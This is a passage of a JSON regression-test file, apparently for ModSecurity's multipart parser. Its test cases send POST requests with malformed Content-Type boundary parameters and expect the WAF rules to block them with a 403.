2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403 - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (invalid C-T boundary parameter name - case)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; bOundAry=0000", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Invalid boundary in C-T \\(case sensitivity\\)" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (invalid C-T boundary parameter name - trailing chars)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary123=0000", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Invalid boundary in C-T \\(parameter name\\)" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (multiple C-T boundaries - first quoted)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=\"0000\"; boundary=1111", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Multiple boundary parameters in C-T" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (multiple C-T boundaries - comma separated)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=0000, boundary=1111", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Multiple boundary parameters in C-T" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (boundary whitespace in C-T - after name)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary =0000", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403 - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (boundary whitespace in C-T - before value)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary= 0000", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "boundary whitespace in C-T header" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (boundary whitespace in C-T - after value) - apache removes the whitespace, not the case for us... TODO", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=0000 ", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403 - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (boundary special char - trailing whitespace+token)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data;boundary=0000 1111", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "No boundaries found in payload" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (boundary special char - trailing exclamation+token)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data;boundary=0000!1111", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Invalid boundary in C-T \\(characters\\)" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (quoted boundary - normal)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data;boundary=\"0000\"", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "boundary was quoted" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (quoted boundary value - whitespace before)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data;boundary=\" 0000\"", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "boundary was quoted.*No boundaries found in payload" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (quoted boundary value - whitespace after)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data;boundary=\"0000 \"", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Invalid boundary in C-T \\(characters\\).*boundary was quoted." - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (quoted boundary value - whitespace after)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data;boundary=\"0000 \"", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Invalid boundary in C-T \\(characters\\).*boundary was quoted." - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (quoted boundary value - whitespace between)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data;boundary=\"0000 1111\"", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "boundary was quoted" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (quoted boundary value - contained quote)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data;boundary=\"00\"00\"", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--00\"00\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--00\"00\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--00\"00\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--00\"00--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Invalid boundary in C-T \\(characters\\)" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (quoted boundary value - two quoted values)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data;boundary=\"00\"\"00\"", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--00\"00\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--00\"00\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--00\"00\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--00\"00--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Invalid boundary in C-T \\(characters\\)" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (partial quoted boundary value - only start quote)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data;boundary=\"0000", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Invalid boundary in C-T \\(quote\\)" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (partial quoted boundary value - only end quote)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data;boundary=0000\"", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Invalid boundary in C-T \\(quote\\)" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (multipart mixed - normal)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=0000", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: attachment\r", - "Content-Type: multipart/mixed; boundary=BbC04y\r", - "\r", - "--BbC04y\r", - "Content-Disposition: file; filename=\"file1.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "... contents of file1.txt ...\r", - "--BbC04y\r", - "Content-Disposition: file; filename=\"file2.gif\r", - "Content-Type: image/jpeg\r", - "Content-Transfer-Encoding: binary\r", - "\r", - "...contents of file2.gif...\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Invalid Content-Disposition header" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (multipart mixed - missing disposition)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - 